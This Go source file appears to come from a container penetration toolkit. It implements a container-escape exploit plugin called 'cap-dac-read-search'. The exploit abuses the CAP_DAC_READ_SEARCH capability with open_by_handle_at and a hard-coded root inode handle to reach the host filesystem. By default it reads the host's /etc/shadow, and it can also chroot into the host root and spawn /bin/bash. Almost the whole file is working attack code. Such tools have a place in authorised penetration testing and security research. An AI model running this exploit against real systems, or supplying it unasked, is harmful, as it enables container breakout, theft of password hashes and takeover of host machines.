// +build linux,!no_cap_dac_read_search

package exploit

import (
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"io/ioutil"
	"os"
	"os/exec"
	"strings"

	"golang.org/x/sys/unix"

	"fmt"
	"log"
)

const (
	defaultRef    = "/etc/hostname"
	defaultTarget = "/etc/shadow"
	defaultShell  = "/bin/bash"
)

// plugin interface
type CapDacReadSearch struct{}

func (p CapDacReadSearch) Desc() string {
	var buffer strings.Builder

	buffer.WriteString("Read files from host or chroot to host and spawn a cmd. ")
	buffer.WriteString("The First argument is file bind-mounted to container from host (default: %s), ")
	buffer.WriteString("the second argument specifies which file to read (default: %s), ")
	buffer.WriteString("the third and remaining arguments specifies command executed in host root filesystem (default: %s). ")
	buffer.WriteString("If there is one argument, the first argument is the target file to read. ")
	buffer.WriteString("When second argument is \"/\", this exploit will spawn a cmd. ")

	return fmt.Sprintf(
		buffer.String(),
		defaultRef,
		defaultTarget,
		defaultShell,
	)
}

func (p CapDacReadSearch) Run() bool {
	args := cli.Args["<args>"].([]string)

	var (
		ref    = defaultRef
		target = defaultTarget
		cmd    = []string{defaultShell}
	)

	switch len(args) {
	case 0:
	case 1:
		target = args[0]
	case 2:
		ref = args[0]
		target = args[1]
	default:
		ref = args[0]
		target = args[1]
		cmd = args[2:]
	}

	chroot := false
	if target == "/" {
		chroot = true
	}

	fmt.Printf("Running with target: %v, ref: %v\n", target, ref)
	CapDacReadSearchExploit(target, ref, chroot, cmd)

	return false
}

func init() {
	exploit := CapDacReadSearch{}
	plugin.RegisterExploit("cap-dac-read-search", exploit)
}

func execCommand(cmdSlice []string) {
	cmd := exec.Command(cmdSlice[0], cmdSlice[1:]...)
	cmd.Stdout = os.Stdout
	cmd.Stdin = os.Stdin
	cmd.Stderr = os.Stderr
	if err := cmd.Run(); err != nil {
		log.Fatalf("[-] Run cmd: %s\n", err)
	}
}

func CapDacReadSearchExploit(target, ref string, chroot bool, cmd []string) error {
	// reference something bind mounted to container from host
	fd, err := unix.Open(ref, unix.O_RDONLY, 0)
	if err != nil {
		log.Fatalf("[-] Open: %v\n", err)
	}

	// inode of / is always 2 for ext4: https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout
	// and i_generation is always 0, so handle is always 0x0000000000000002
	h := unix.NewFileHandle(1, []byte{0x02, 0, 0, 0, 0, 0, 0, 0})

	fd, err = unix.OpenByHandleAt(fd, h, 0)
	if err != nil {
		log.Fatalf("[-] OpenByHandleAt: %v\n", err)
	}

	if err = unix.Fchdir(fd); err != nil {
		log.Fatalf("[-] Fchdir: %v\n", err)
	}

	if chroot {
		if err = unix.Chroot("."); err != nil {
			log.Fatalf("[-] Chroot: %v\n", err)
		}

		fmt.Printf("executing command(%s)...\n", strings.Join(cmd, " "))

		execCommand(cmd)
		return nil
	}

	var content []byte
	if content, err = ioutil.ReadFile(fmt.Sprintf("./%s", target)); err != nil {
		log.Fatalf("[-] read file: %s\n", content)
	}

	fmt.Println(string(content))

	return nil
}
